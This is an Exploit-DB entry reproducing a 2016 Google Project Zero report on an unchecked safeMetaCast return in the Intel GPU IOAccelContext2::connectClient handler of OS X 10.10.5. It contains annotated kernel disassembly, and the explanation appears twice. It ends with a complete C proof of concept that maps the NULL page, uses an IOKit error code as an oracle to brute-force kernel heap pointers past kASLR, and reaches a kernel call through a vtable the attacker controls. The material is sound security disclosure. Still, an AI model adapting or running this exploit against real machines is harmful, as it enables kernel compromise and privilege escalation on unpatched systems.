Apple Mac OSX - OSMetaClassBase::safeMetaCast in IOAccelContext2::connectClient NULL Dereference

EDB-ID:

39380




Platform:

OSX

Date:

2016-01-28


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/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=512

IOUserClient::connectClient is an obscure IOKit method which according to the docs is supposed to "Inform a connection of a second connection."

In fact IOKit provides no default implementation and only a handful of userclients actually implement it, and it's pretty much up to them
to define the semantics of what "informing the connection of a second connection" actually means.

One of the userclients which implements connectClient is IOAccelContext2 which is the parent of the IGAccelContext userclient family
(which are the intel GPU accelerator userclients.)

IOUserClient::connectClient is exposed to userspace as IOConnectAddClient.

Here's the relevant kernel code from IOAcceleratorFamily2:

__text:00000000000057E6 ; __int64 __fastcall IOAccelContext2::connectClient(IOAccelContext2 *__hidden this, IOUserClient *)
__text:00000000000057E6                 public __ZN15IOAccelContext213connectClientEP12IOUserClient
__text:00000000000057E6 __ZN15IOAccelContext213connectClientEP12IOUserClient proc near
__text:00000000000057E6                                         ; DATA XREF: __const:000000000003BEE8o
__text:00000000000057E6                                         ; __const:000000000003D2D80o ...
__text:00000000000057E6                 push    rbp
__text:00000000000057E7                 mov     rbp, rsp
__text:00000000000057EA                 push    r15
__text:00000000000057EC                 push    r14
__text:00000000000057EE                 push    r12
__text:00000000000057F0                 push    rbx
__text:00000000000057F1                 mov     rbx, rdi
__text:00000000000057F4                 mov     r14d, 0E00002C2h
__text:00000000000057FA                 cmp     qword ptr [rbx+510h], 0
__text:0000000000005802                 jnz     loc_590F
__text:0000000000005808                 lea     rax, __ZN24IOAccelSharedUserClient29metaClassE ; IOAccelSharedUserClient2::metaClass
__text:000000000000580F                 mov     rax, [rax]
__text:0000000000005812                 mov     rdi, rsi             ; <-- (a)
__text:0000000000005815                 mov     rsi, rax
__text:0000000000005818                 call    __ZN15OSMetaClassBase12safeMetaCastEPKS_PK11OSMetaClass ; OSMetaClassBase::safeMetaCast(OSMetaClassBase const*,OSMetaClass const*)
__text:000000000000581D                 mov     r15, rax             ; <-- (b)
__text:0000000000005820                 mov     r12, [rbx+518h]
__text:0000000000005827                 cmp     r12, [r15+0F8h]      ; <-- (c)
__text:000000000000582E                 jnz     loc_590F
__text:0000000000005834                 mov     rax, [r15+0E0h]
__text:000000000000583B                 mov     r14d, 0E00002BCh     
__text:0000000000005841                 cmp     rax, [rbx+4E8h]      ; <-- (d)
__text:0000000000005848                 jnz     loc_590F
...
__text:0000000000005879                 mov     rdi, [r15+100h]      
__text:0000000000005880                 mov     [rbx+510h], rdi
__text:0000000000005887                 mov     rax, [rdi]
__text:000000000000588A                 call    qword ptr [rax+20h]  ; <-- (e)

At (a) we completely control the type of userclient which rsi points to (by passing a userclient io_connect_t to IOConnectAddClient.)
safeMetaCast will either return the MetaClassBase of the cast if it's valid, or NULL if it isn't. A valid cast would be an object
which inherits from IOAccelSharedUserClient2. If we pass an object which doesn't inherit from that then this will return NULL.

The "safeMetaCast" is only "safe" if the return value is checked but as you can see at (b) and (c) the return value of safeMetaCast
is used without any checking.

At (c) the qword value at 0xf8 offset from NULL is compared with this+0x518. That value is a pointer to an IntelAccelerator object on the heap.
In order to get past this check towards the more interesting code later on we need to be able to guess this pointer. Fortunately, nothing
untoward will happen if we guess incorrectly, and in practice we only need to try around 65k guess, even with kASLR :) Even so, there's *another*
check we have to pass at (d) also comparing against a heap pointer. Again we can guess this, but having to make two guesses each time
leads to an exponential slowdown... Except, notice that just before making the cmp at (d) r14d was set to 0xE00002BC; this is actually
the IOKit error code and gets returned to userspace! This means that we can actually make our brute-force attempts independent by checking the return
value to determine if we made it past the first check, and only then start guessing the second pointer.

In reality you can guess both the pointers in a few seconds.

After passing the cmp at (d) the code goes on to read a vtable pointer at NULL and call a virtual function at an address we can control :)

Tested on OS X 10.10.5 (14F27)
*/

// ianbeer

// build:clang -o client_connect client_connect.c -m32 -framework IOKit -g -pagezero_size 0x0

/*
Failure to check return value of OSMetaClassBase::safeMetaCast in IOAccelContext2::connectClient leads to
kernel address space layout leak and exploitable NULL dereference

IOUserClient::connectClient is an obscure IOKit method which according to the docs is supposed to "Inform a connection of a second connection."

In fact IOKit provides no default implementation and only a handful of userclients actually implement it, and it's pretty much up to them
to define the semantics of what "informing the connection of a second connection" actually means.

One of the userclients which implements connectClient is IOAccelContext2 which is the parent of the IGAccelContext userclient family
(which are the intel GPU accelerator userclients.)

IOUserClient::connectClient is exposed to userspace as IOConnectAddClient.

Here's the relevant kernel code from IOAcceleratorFamily2:

__text:00000000000057E6 ; __int64 __fastcall IOAccelContext2::connectClient(IOAccelContext2 *__hidden this, IOUserClient *)
__text:00000000000057E6                 public __ZN15IOAccelContext213connectClientEP12IOUserClient
__text:00000000000057E6 __ZN15IOAccelContext213connectClientEP12IOUserClient proc near
__text:00000000000057E6                                         ; DATA XREF: __const:000000000003BEE8o
__text:00000000000057E6                                         ; __const:000000000003D2D80o ...
__text:00000000000057E6                 push    rbp
__text:00000000000057E7                 mov     rbp, rsp
__text:00000000000057EA                 push    r15
__text:00000000000057EC                 push    r14
__text:00000000000057EE                 push    r12
__text:00000000000057F0                 push    rbx
__text:00000000000057F1                 mov     rbx, rdi
__text:00000000000057F4                 mov     r14d, 0E00002C2h
__text:00000000000057FA                 cmp     qword ptr [rbx+510h], 0
__text:0000000000005802                 jnz     loc_590F
__text:0000000000005808                 lea     rax, __ZN24IOAccelSharedUserClient29metaClassE ; IOAccelSharedUserClient2::metaClass
__text:000000000000580F                 mov     rax, [rax]
__text:0000000000005812                 mov     rdi, rsi             ; <-- (a)
__text:0000000000005815                 mov     rsi, rax
__text:0000000000005818                 call    __ZN15OSMetaClassBase12safeMetaCastEPKS_PK11OSMetaClass ; OSMetaClassBase::safeMetaCast(OSMetaClassBase const*,OSMetaClass const*)
__text:000000000000581D                 mov     r15, rax             ; <-- (b)
__text:0000000000005820                 mov     r12, [rbx+518h]
__text:0000000000005827                 cmp     r12, [r15+0F8h]      ; <-- (c)
__text:000000000000582E                 jnz     loc_590F
__text:0000000000005834                 mov     rax, [r15+0E0h]
__text:000000000000583B                 mov     r14d, 0E00002BCh     
__text:0000000000005841                 cmp     rax, [rbx+4E8h]      ; <-- (d)
__text:0000000000005848                 jnz     loc_590F
...
__text:0000000000005879                 mov     rdi, [r15+100h]      
__text:0000000000005880                 mov     [rbx+510h], rdi
__text:0000000000005887                 mov     rax, [rdi]
__text:000000000000588A                 call    qword ptr [rax+20h]  ; <-- (e)

At (a) we completely control the type of userclient which rsi points to (by passing a userclient io_connect_t to IOConnectAddClient)
safeMetaCast will either return the MetaClassBase of the cast if it's valid, or NULL if it isn't. A valid cast would be an object
which inherits from IOAccelSharedUserClient2. If we pass an object which doesn't inherit from that then this will return NULL.

The "safeMetaCast" is only "safe" if the return value is checked but as you can see at (b) and (c) the return value of safeMetaCast
is used without any checking.

At (c) the qword value at 0xf8 offset from NULL is compared with this+0x518. That value is a pointer to an IntelAccelerator object on the heap.
In order to get past this check towards the more interesting code later on we need to be able to guess this pointer. Fortunately, nothing
untoward will happen if we guess incorrectly, and in practise we only need to try around 65k guess, even with kASLR :) Even so, there's *another*
check we have to pass at (d) also comparing against a heap pointer. Again we can guess this, but having to make two guesses each time
leads to an exponential slowdown... Except, notice that just before making the cmp at (d) r14d was set to 0xE00002BC; this is actually
the IOKit error code and gets returned to userspace! This means that we can actually make our brute-force attempts independent by checking the return
value to determine if we made it past the first check, and only then start guessing the second pointer.

In reality you can guess both the pointers in a few seconds.

After passing the cmp at (d) the code goes on to read a vtable pointer at NULL and call a virtual function at an address we can control :)

Tested on OS X 10.10.5 (14F27)
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

#include <mach/mach.h>
#include <mach/vm_map.h>

#include <IOKit/IOKitLib.h>

io_connect_t get_accel_connection() {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
  if(!matching){
    printf("unable to create service matching dictionary\n");
    return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
    printf("no matches\n");
    return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }
  printf("got service: %x\n", service);
  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 1, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }else{
    printf("got userclient connection: %x, type:%d\n", conn, 0);
  }
  
  printf("got userclient connection: %x\n", conn);
  return conn;
}

io_connect_t get_some_client() {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching("AppleRTC");
  if(!matching){
    printf("unable to create service matching dictionary\n");
    return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
    printf("no matches\n");
    return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }
  printf("got service: %x\n", service);
  
  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }else{
    printf("got userclient connection: %x, type:%d\n", conn, 0);
  }
  
  printf("got userclient connection: %x\n", conn);
  return conn;
}

kern_return_t guess_first(uint64_t guess, io_connect_t a, io_connect_t b) {
  uint64_t* fake_obj = 0;
  fake_obj[0xf8/8] = guess;

  return IOConnectAddClient(a, b);
}

// need to make something like 65k guesses in the worst cast to find the IntelAccelerator object
// (it's page aligned and we search a 512MB region)
uint64_t find_intel_accelerator_addr(io_connect_t a, io_connect_t b) {
  uint64_t guess = 0xffffff8010000000;
  while (guess < 0xffffff8030000000) {
    printf("trying 0x%llx\n", guess);
    if (guess_first(guess, a, b) == 0xe00002bc) {
      printf("got it: 0x%llx\n", guess);
      return guess;
    }
    guess += 0x1000;
  }
  printf("no luck\n");
  return 0;
}

kern_return_t guess_second(uint64_t guess, uint64_t accel_addr, io_connect_t a, io_connect_t b) {
  uint64_t* fake_obj = 0;
  fake_obj[0xf8/8] = accel_addr;

  fake_obj[0xe0/8] = guess;

  return IOConnectAddClient(a, b);
}

uint64_t find_second_addr(uint64_t accel_addr, io_connect_t a, io_connect_t b) {
  uint64_t guess = accel_addr - 0x1000000; // reasonable place to start guessing
  while (guess < 0xffffff8030000000) {
    printf("trying 0x%llx\n", guess);
    if (guess_second(guess, accel_addr, a, b) != 0xe00002bc) {
      // not reached: we will call retain on the object at NULL now
      // and will kernel panic reading the function pointer from the vtable at 414141...
      printf("got it: 0x%llx\n", guess);
      return guess;
    }
    guess += 0x10;
  }
  printf("no luck\n");
  return 0;
}

int main(){
  kern_return_t err;

  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = 'A';
  }

  io_connect_t accel_connect = get_accel_connection();

  // create an unrelated client 
  io_connect_t a_client = get_some_client();

  uint64_t first_addr = find_intel_accelerator_addr(accel_connect, a_client);
  uint64_t second_addr = find_second_addr(first_addr, accel_connect, a_client);
  return 0;
}